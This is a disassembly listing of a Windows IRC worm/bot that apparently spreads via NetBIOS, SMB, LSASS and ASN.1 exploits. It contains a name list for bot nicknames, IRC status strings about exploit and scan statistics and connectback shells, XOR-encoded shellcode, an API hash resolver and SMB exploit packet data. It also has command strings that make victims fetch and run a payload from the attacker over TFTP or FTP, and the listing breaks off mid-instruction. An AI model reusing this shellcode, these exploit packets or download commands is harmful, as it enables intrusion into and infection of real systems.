aWilk db 'Wilk',0 ; DATA XREF: .nsp0:004465DCo align 4 aWilkin db 'Wilkin',0 ; DATA XREF: .nsp0:004465E0o align 10h aWilkinson db 'Wilkinson',0 ; DATA XREF: .nsp0:004465E4o align 4 aVillarreal db 'Villarreal',0 ; DATA XREF: .nsp0:004465E8o align 4 aWillstatter db 'Willstatter',0 ; DATA XREF: .nsp0:004465ECo aWilson db 'Wilson',0 ; DATA XREF: .nsp0:004465F0o align 4 aVitali db 'Vitali',0 ; DATA XREF: .nsp0:004465F4o align 4 aViviani db 'Viviani',0 ; DATA XREF: .nsp0:004465F8o aVoigt db 'Voigt',0 ; DATA XREF: .nsp0:004465FCo align 4 aWolk db 'Wolk',0 ; DATA XREF: .nsp0:00446600o align 4 aVonhoffman db 'VonHoffman',0 ; DATA XREF: .nsp0:00446604o align 4 aWoo db 'Woo',0 ; DATA XREF: .nsp0:00446608o aWooden db 'Wooden',0 ; DATA XREF: .nsp0:0044660Co align 4 aWoods db 'Woods',0 ; DATA XREF: .nsp0:00446610o align 4 aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: .nsp0:00446614o align 4 aVorhaus db 'Vorhaus',0 ; DATA XREF: .nsp0:00446618o aVotey db 'Votey',0 ; DATA XREF: .nsp0:0044661Co align 4 aYacono db 'Yacono',0 ; DATA XREF: .nsp0:00446620o align 4 aYamane db 'Yamane',0 ; DATA XREF: .nsp0:00446624o align 4 aYankee_0 db 'Yankee',0 ; DATA XREF: .nsp0:00446628o align 4 aYarchuk db 'Yarchuk',0 ; DATA XREF: .nsp0:0044662Co aYates db 'Yates',0 ; DATA XREF: .nsp0:00446630o align 4 aYbarra db 'Ybarra',0 ; DATA XREF: .nsp0:00446634o align 4 aYedidia db 'Yedidia',0 ; DATA XREF: .nsp0:00446638o aYesson db 'Yesson',0 ; DATA XREF: .nsp0:0044663Co align 4 aYetiv db 'Yetiv',0 ; DATA XREF: .nsp0:00446640o align 4 aYoffe db 'Yoffe',0 ; DATA XREF: .nsp0:00446644o align 4 aYoo db 'Yoo',0 ; DATA XREF: .nsp0:00446648o aYoukSee db 'Youk-See',0 ; DATA XREF: .nsp0:0044664Co align 4 aYu db 'Yu',0 ; DATA XREF: .nsp0:00446650o align 10h aZachary db 'Zachary',0 ; DATA XREF: .nsp0:00446654o aZahedi db 'Zahedi',0 ; DATA XREF: .nsp0:00446658o align 10h aZangwill db 'Zangwill',0 ; DATA XREF: .nsp0:0044665Co align 4 aZegans db 'Zegans',0 ; DATA XREF: .nsp0:00446660o align 4 aZerbini db 'Zerbini',0 ; DATA XREF: .nsp0:00446664o aZoldak db 'Zoldak',0 ; DATA XREF: .nsp0:00446668o align 4 aZucconi db 'Zucconi',0 ; DATA XREF: .nsp0:0044666Co aZurn db 'Zurn',0 ; DATA XREF: .nsp0:00446670o align 4 aZwiers db 'Zwiers',0 ; DATA XREF: .nsp0:00446674o align 4 aZytowski db 'Zytowski',0 ; DATA XREF: .nsp0:00446678o align 4 aS_28 db '%s',0 ; DATA XREF: sub_40A112+27o align 4 aSI_0 db '%s%i',0 ; DATA XREF: sub_40A112+4Eo align 4 aS_29 db '%s',0 ; DATA XREF: .nsp0:0040A197o align 4 aSI_1 db '%s%i',0 ; DATA XREF: .nsp0:0040A1BEo align 10h aPc_0 db 'PC',0 ; DATA XREF: .nsp0:0040A22Fo align 4 aPc_1 db 'PC',0 ; DATA XREF: .nsp0:0040A259o align 4 aPc_2 db 'PC',0 ; DATA XREF: .nsp0:0040A285o align 4 aSI_2 db '%s%i',0 ; DATA XREF: .nsp0:0040A2B0o align 4 aS_30 db '%s|',0 ; DATA XREF: .nsp0:0040A2FEo aSI_3 db '%s%i',0 ; DATA XREF: .nsp0:0040A325o align 10h a95 db '95',0 ; DATA XREF: .nsp0:0040A393o align 4 aNt db 'NT',0 ; DATA XREF: .nsp0:0040A3A1o align 4 a98 db '98',0 ; DATA XREF: .nsp0:0040A3B1o align 4 aMe_0 db 'ME',0 ; DATA XREF: .nsp0:0040A3C1o align 10h a2k db '2K',0 ; DATA XREF: .nsp0:0040A3DAo align 4 aXp_1 db 'XP',0 ; DATA XREF: .nsp0:0040A3EAo align 4 a2k3 db '2K3',0 ; DATA XREF: .nsp0:0040A3F8o a???_0 db '???',0 ; DATA XREF: .nsp0:loc_40A3FFo aS_31 db '[%s]|',0 ; DATA XREF: .nsp0:0040A408o align 4 aSI_4 db '%s%i',0 ; DATA XREF: .nsp0:0040A42Fo align 10h aMirc_0 db 'mIRC',0 ; DATA XREF: sub_40A44E+1Fo align 4 aM_0 db '[M]',0 ; DATA XREF: sub_40A44E+2Co aDS db '[%d]%s',0 ; DATA XREF: sub_40A44E+3Ao align 4 aMirc_1 db 'mIRC',0 ; DATA XREF: sub_40A44E:loc_40A49Do align 4 aM_1 db '[M]',0 ; DATA XREF: sub_40A44E+5Co ; --------------------------------------------------------------------------- loc_449130: ; DATA XREF: sub_40A6F6+C4o jmp short loc_449134 ; --------------------------------------------------------------------------- loc_449132: ; CODE XREF: .nsp0:loc_449134p jmp short loc_449139 ; --------------------------------------------------------------------------- loc_449134: ; CODE XREF: .nsp0:loc_449130j call loc_449132 loc_449139: ; CODE XREF: .nsp0:loc_449132j pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 66h, 0B9h word_44913E dw 0FFFFh ; DATA XREF: sub_40A6F6+CCw db 80h, 73h, 0Eh byte_449143 db 0FFh ; DATA XREF: sub_40A6F6+D3w dd 0F9E243h ; --------------------------------------------------------------------------- loc_449148: ; DATA XREF: sub_40A6F6+A2o jmp short loc_44914C ; --------------------------------------------------------------------------- loc_44914A: ; CODE XREF: .nsp0:loc_44914Cp jmp short loc_449151 ; --------------------------------------------------------------------------- loc_44914C: ; CODE XREF: .nsp0:loc_449148j call loc_44914A loc_449151: ; CODE XREF: .nsp0:loc_44914Aj pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 0B1h byte_449155 db 0FFh ; DATA XREF: sub_40A6F6+AAw dw 7380h db 0Ch byte_449159 db 0FFh ; DATA XREF: sub_40A6F6+B0w dw 0E243h dd 0F9h dword_449160 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h ; DATA XREF: sub_40A57F+57o dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dword_4491C4 dd 12h ; DATA XREF: sub_40A57F+3Dw aTftp_exeIGet db 'tftp.exe -i get ',0 ; DATA XREF: sub_40A57F+79o aJ_1 db 'j',0 db 0E8h dword_4491DD dd 17h ; DATA XREF: sub_40A57F+4Dw ; --------------------------------------------------------------------------- jnz short near ptr byte_4491E4 retn ; --------------------------------------------------------------------------- byte_4491E4 db 0E8h ; CODE XREF: .nsp0:004491E1j dword_4491E5 dd 1 ; DATA XREF: sub_40A57F+45w byte_4491E9 db 0, 6Ah, 0 ; DATA XREF: sub_40A57F+C2o dd 7E8h db 0, 0Fh, 84h dword_4491F3 dd 0FFFFFFEDh ; DATA XREF: sub_40A57F+5Dw ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi ; CloseHandle add esp, 54h test eax, eax retn ; --------------------------------------------------------------------------- align 4 dword_449224 dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h ; DATA XREF: sub_40A8BA+10o dword_449238 dd 202E6425h, 7325h ; DATA XREF: sub_40A8BA+46o aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40AA8B+35o align 4 aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40AA8B+51o align 10h aSym db 'sym',0 ; DATA XREF: sub_40B9F0+164o dd 0 db 2 dup(0) aSymantec db 'Symantec',0 ; DATA XREF: sub_40AEDE+30o align 4 dd 5 dup(0) dword_4492A8 dd 0B97h ; DATA XREF: sub_401CC1+18D3r ; sub_401CC1+18FFo ... off_4492AC dd offset sub_40DBCD ; DATA XREF: sub_40B9F0+1E6r dword_4492B0 dd 0 ; DATA XREF: sub_40AD51+2Eo ; .nsp0:0040CD4Fw ... dword_4492B4 dd 1 ; DATA XREF: sub_40B1CC+1Fr dword_4492B8 dd 1 ; DATA XREF: sub_40B1CC+3B3r dword_4492BC dd 0 ; DATA XREF: sub_40B1CC+292r dd 636E76h, 0 dd 6E760000h, 63h, 6 dup(0) dd 170Ch, 40DD03h, 0 dd 2 dup(1), 0 aNet139 db 'net139',0 align 4 dd 654E0000h, 69706174h, 393331h, 5 dup(0) dd 8Bh, 40DA62h, 0 dd 2 dup(1), 0 aNet445 db 'net445',0 align 4 dd 654E0000h, 69706174h, 353434h, 5 dup(0) dd 1BDh, 40DA62h, 0 dd 2 dup(1), 0 aAsn80 db 'asn80',0 align 4 dd 53410000h, 2D312E4Eh, 50545448h, 5 dup(0) dd 50h, 40CBA7h, 0 dd 2 dup(1), 0 aMsass db 'msass',0 align 4 dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0) ; --------------------------------------------------------------------------- mov ebp, 0A7000001h retf ; --------------------------------------------------------------------------- dw 40h dd 0 dd 2 dup(1), 0 aAsn139 db 'asn139',0 align 4 dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0) dd 8Bh, 40CBA7h, 0 dd 2 dup(1), 2 dup(0) dd 10100h, 0Eh dup(0) dd 6D7973h, 0 db 2 dup(0) byte_44948A db 1 ; DATA XREF: sub_401CC1:loc_403512r ; sub_401CC1+185Bo aNet445_0 db 'net445',0 align 4 dd 100h, 3 dup(0) ; --------------------------------------------------------------------------- jmp short loc_4494B6 ; =============== S U B R O U T I N E ======================================= sub_4494A6 proc near ; CODE XREF: sub_4494A6:loc_4494B6p pop edx dec edx xor ecx, ecx mov cx, 166h loc_4494AE: ; CODE XREF: sub_4494A6+Cj xor byte ptr [edx+ecx], 99h loop loc_4494AE jmp short loc_4494BB ; --------------------------------------------------------------------------- loc_4494B6: ; CODE XREF: .nsp0:004494A4j call sub_4494A6 loc_4494BB: ; CODE XREF: sub_4494A6+Ej jo short near ptr dword_449444+12h cwde cdq cdq retn sub_4494A6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 21h, 95h, 69h dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h dd 0FAF899F7h, 0EDE9FCFAh, 99h unk_449624 db 2Dh ; - ; DATA XREF: sub_40AD51+11o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aExploitStatist db 'Exploit Statistics:',0 dword_449644 dd 25370320h, 203A0373h, 2C6425h ; DATA XREF: sub_40AD51+46o aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_40AD51+85o align 4 unk_449664 db 2Dh ; - ; DATA XREF: sub_40AE1F+37o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h db 54h ; T db 72h, 61h, 6Eh db 73h ; s db 66h, 65h, 72h db 20h db 53h, 74h, 61h db 74h ; t db 69h, 73h, 74h db 69h ; i db 63h, 73h, 3Ah db 20h db 2, 54h, 46h db 54h ; T db 50h, 2, 3Ah db 20h db 25h, 64h, 2Ch db 20h db 2, 46h, 54h db 50h ; P db 2, 3Ah, 20h aDTotalDInS_ db '%d, Total %d in %s.',0 unk_4496AC db 2Dh ; - ; DATA XREF: sub_40AE8A+21o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aDConnectbackSh db '%d connectback shells in %s.',0 align 4 dword_4496D8 dd 234032Dh, 6E616373h, 202D0302h, 6C707845h, 2074696Fh ; DATA XREF: sub_40AEDE+14o dd 7473694Ch, 3Ah dword_4496F4 dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40AEDE+40o aScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_40AEDE+7Eo unk_449714 db 2Dh ; - ; DATA XREF: sub_40AFA4+80o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 db 2Dh, 20h, 74h db 72h ; r db 79h, 69h, 6Eh db 67h ; g db 20h, 2, 25h db 73h ; s db 2, 20h, 6Fh aNSPortD___ db 'n %s (port %d)...',0 align 4 unk_449744 db 2Dh ; - ; DATA XREF: sub_40AFA4+16Eo db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFinishedExploi db '- finished exploiting %s (%d attempts)',0 unk_449778 db 2Dh ; - ; DATA XREF: sub_40B155+2Co db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aCurrentIpS_ db 'Current IP: %s.',0 unk_449794 db 2Dh ; - ; DATA XREF: sub_40B155+42o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanNotActive_ db 'Scan not active.',0 align 4 unk_4497B4 db 2Dh ; - ; DATA XREF: sub_40B1CC+DAo db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aServerStarte_2 db ' Server started on Port: %d, File: %s.',0 align 4 unk_4497E8 db 2Dh ; - ; DATA XREF: sub_40B1CC+148o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_26 db ' Failed to start server, error: <%d>.',0 align 4 unk_44981C db 2Dh ; - ; DATA XREF: sub_40B1CC+1FEo db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aServerStarte_3 db 'Server started on Port: %d, File: %s.',0 align 10h unk_449850 db 2Dh ; - ; DATA XREF: sub_40B1CC+26Co db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aFailedToSta_27 db 'Failed to start server, error: <%d>.',0 align 4 unk_449884 db 2Dh ; - ; DATA XREF: sub_40B1CC+321o db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aServerStarte_4 db '- Server started on Port: %d.',0 align 4 unk_4498B4 db 2Dh ; - ; DATA XREF: sub_40B1CC+38Fo db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aFailedToSta_28 db '- Failed to start server, error: <%d>.',0 unk_4498EC db 2Dh ; - ; DATA XREF: sub_40B1CC+449o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerListen_1 db ' Server listening on IP: %s:%d, Directory: %s\.',0 unk_449928 db 2Dh ; - ; DATA XREF: sub_40B1CC+4B7o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_29 db ' Failed to start server, error: <%d>.',0 align 4 aD_D_D_D_0 db '%d.%d.%d.%d',0 ; DATA XREF: sub_40B6EA+38o aSocketOpenFail db 'socket open failed',0 ; DATA XREF: .nsp0:0040B918o align 4 aSendtoSocketFa db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: .nsp0:0040B94Fo aRecvfromSocket db 'recvfrom() socket failed',0 ; DATA XREF: .nsp0:0040B9A9o align 10h aSocketOpen_ db 'Socket open.',0 ; DATA XREF: .nsp0:0040B9CEo align 10h aSocketClosed_ db 'Socket closed.',0 ; DATA XREF: .nsp0:loc_40B9DEo align 10h unk_4499E0 db 2Dh ; - ; DATA XREF: sub_40B9F0+93o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_449A18 db 2Dh ; - ; DATA XREF: sub_40B9F0+EBo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0 align 10h unk_449A40 db 2Dh ; - ; DATA XREF: sub_40BC04+87o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToInitia db 'Failed to initialize critical section.',0 align 4 unk_449A74 db 2Dh ; - ; DATA XREF: sub_40BC04+103o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_449AA8 db 2Dh ; - ; DATA XREF: sub_40BC04+173o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0 unk_449AE0 db 2Dh ; - ; DATA XREF: sub_40BC04+1CEo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0 align 10h unk_449B20 db 2Dh ; - ; DATA XREF: sub_40BE63+92o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSPortDIsOp_0 db 'IP: %s Port: %d is open.',0 align 4 unk_449B48 db 2Dh ; - ; DATA XREF: sub_40BF30+41o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0 align 10h unk_449B70 db 2Dh ; - ; DATA XREF: sub_40C021+41o db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0 align 4 unk_449B9C db 2Dh ; - ; DATA XREF: sub_40C021+D1o db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedScanni db 'Finished scanning IP: %s.',0 align 4 aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_40C3D0+B2o align 4 dword_449BD4 dd 10FF8h, 0 ; DATA XREF: sub_40C3D0+6Ao dword_449BDC dd 10FF8h ; DATA XREF: sub_40C3D0+79o dword_449BE0 dd 7FFDF020h, 0 ; DATA XREF: sub_40C3D0+162o dword_449BE8 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40C7FA+7Bo dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_449C70 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40C7FA+34o dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_449CA0 dd 0 ; DATA XREF: sub_40C7FA+44o dd 800000D4h, 0 unk_449CAC db 81h ; ; DATA XREF: sub_40C8D4+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 align 8 byte_449CF8 db 41h ; DATA XREF: sub_40C972+FFr aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 4 ; =============== S U B R O U T I N E ======================================= sub_449D3C proc near ; DATA XREF: .nsp0:0040CC29o push ebx push esi push edi sub sp, 80h mov esi, esp call sub_449E38 push dword ptr [esi] push 63D61209h call sub_449E4E mov [esi+8], eax call sub_449E01 push dword ptr [esi+4] push 0CA2BD06Bh call sub_449E4E mov [esi+0Ch], eax call sub_449DB3 push dword ptr [esi+4] push 4C0297FAh call sub_449E4E xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_449D3C endp ; =============== S U B R O U T I N E ======================================= sub_449DB3 proc near ; CODE XREF: sub_449D3C+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_449DDC mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_449DB3 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_449DDC proc near ; CODE XREF: sub_449DB3+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_449DEB: ; CODE XREF: sub_449DDC+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_449DF8 inc ebx jmp short loc_449DEB ; --------------------------------------------------------------------------- loc_449DF8: ; CODE XREF: sub_449DDC+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_449DDC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_449E01 proc near ; CODE XREF: sub_449D3C+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_449E19: ; CODE XREF: sub_449E01+1Ej cmp [ecx], ebx jz short loc_449E21 mov ecx, [ecx] jmp short loc_449E19 ; --------------------------------------------------------------------------- loc_449E21: ; CODE XREF: sub_449E01+1Aj mov edx, edi loc_449E23: ; CODE XREF: sub_449E01+2Aj cmp [edx+4], ebx jz short loc_449E2D mov edx, [edx+4] jmp short loc_449E23 ; --------------------------------------------------------------------------- loc_449E2D: ; CODE XREF: sub_449E01+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_449E01 endp ; =============== S U B R O U T I N E ======================================= sub_449E38 proc near ; CODE XREF: sub_449D3C+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_449E38 endp ; =============== S U B R O U T I N E ======================================= sub_449E4E proc near ; CODE XREF: sub_449D3C+16p ; sub_449D3C+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_449E64: ; CODE XREF: sub_449E4E+33j jecxz short loc_449E9E dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_449E71: ; CODE XREF: sub_449E4E+2Dj lodsb cmp al, ah jz short loc_449E7D ror edi, 0Dh add edi, eax jmp short loc_449E71 ; --------------------------------------------------------------------------- loc_449E7D: ; CODE XREF: sub_449E4E+26j cmp edi, [esp+20h+arg_0] jnz short loc_449E64 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_449E9E: ; CODE XREF: sub_449E4E:loc_449E64j ; sub_449E4E:loc_449E9Ej jmp short loc_449E9E sub_449E4E endp ; --------------------------------------------------------------------------- dd 0 ; =============== S U B R O U T I N E ======================================= sub_449EA4 proc near ; DATA XREF: .nsp0:0040CBD7o arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_449EF6 mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_449EC1: ; CODE XREF: sub_449EA4+38j jecxz short loc_449EF1 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_449ECC: ; CODE XREF: sub_449EA4+32j lodsb test al, al jz short loc_449ED8 ror edx, 0Dh add edx, eax jmp short loc_449ECC ; --------------------------------------------------------------------------- loc_449ED8: ; CODE XREF: sub_449EA4+2Bj cmp edx, [esp+arg_0] jnz short loc_449EC1 mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_449EF1: ; CODE XREF: sub_449EA4:loc_449EC1j mov [esp+arg_0], ebx retn sub_449EA4 endp ; =============== S U B R O U T I N E ======================================= sub_449EF6 proc near ; CODE XREF: sub_449EA4+7p ; FUNCTION CHUNK AT 00449F2E SIZE 00000007 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_449F0F mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_449F1A ; --------------------------------------------------------------------------- loc_449F0F: ; CODE XREF: sub_449EF6+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_449F1A: ; CODE XREF: sub_449EF6+14j pop edi xor esi, esi pusha push esi jmp short loc_449F2E sub_449EF6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_449F21 proc near ; CODE XREF: sub_449EF6:loc_449F2Ep push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_449F21 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449EF6 loc_449F2E: ; CODE XREF: sub_449EF6+29j call sub_449F21 loc_449F33: ; DATA XREF: sub_40C375+1Bo add [ebx], ah ; END OF FUNCTION CHUNK FOR sub_449EF6 ; --------------------------------------------------------------------------- db 3 dup(0) ; --------------------------------------------------------------------------- loc_449F38: ; DATA XREF: sub_40C3D0+E8o jmp short near ptr dword_449F40 ; --------------------------------------------------------------------------- align 10h dword_449F40 dd 0 ; CODE XREF: .nsp0:loc_449F38j aCccc db 'CCCC',0 ; DATA XREF: sub_40C3D0+153o align 4 dword_449F4C dd 3 ; DATA XREF: sub_40C3D0+246o dword_449F50 dd 0A1h ; DATA XREF: sub_40C3D0+29Fo dword_449F54 dd 30h ; DATA XREF: sub_40C3D0+2CAo dword_449F58 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40C3D0+2F5o dword_449F64 dd 60h ; DATA XREF: sub_40C3D0+320o aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &' ; DATA XREF: .nsp0:0040CBFEo db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0 align 10h dword_449FD0 dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: sub_40D46C+2B3o ; --------------------------------------------------------------------------- loc_449FDC: ; CODE XREF: .nsp0:00449FE6j xor dword ptr [ebx+13h], 6AD31EBBh sub ebx, 0FFFFFFFCh loop loc_449FDC inc edi jz short loc_44A023 and eax, 952CE753h inc esp jle short loc_44A04B push es lahf cmp bl, [eax+2Fh] xchg edx, [ebp+1FC36FAFh] cmp al, 0E1h ; --------------------------------------------------------------------------- dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h ; --------------------------------------------------------------------------- lahf cmps byte ptr ss:[esi], byte ptr es:[edi] loc_44A023: ; CODE XREF: .nsp0:00449FE9j mov [eax], esi inc ecx imul dword ptr [ebx+50h] js short near ptr 